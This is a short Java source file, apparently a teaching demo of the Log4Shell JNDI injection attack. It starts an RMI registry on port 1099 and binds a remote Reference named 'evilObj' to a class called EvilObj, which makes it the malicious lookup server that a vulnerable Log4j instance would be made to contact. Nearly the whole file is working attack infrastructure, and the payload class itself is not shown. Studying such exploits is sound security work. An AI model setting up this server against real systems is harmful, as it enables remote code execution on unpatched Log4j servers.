package com.agui.log4jDemo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author ygp
 * @create 2021-12-23 16:24
 */
public class Log4jServer {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            System.out.println(LocateRegistry.getRegistry());
            Registry registry = LocateRegistry.getRegistry(1099);
            Reference evilObjReference = new Reference("com.agui.log4jDemo.EvilObj", "com.agui.log4jDemo.EvilObj", ".");
            ReferenceWrapper evilObjReferenceObjWrapper = new ReferenceWrapper(evilObjReference);
            registry.bind("evilObj", evilObjReferenceObjWrapper);

            System.out.println("Server is running at port: 1099");
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

        // https://blog.csdn.net/java_augur/article/details/122005981
}
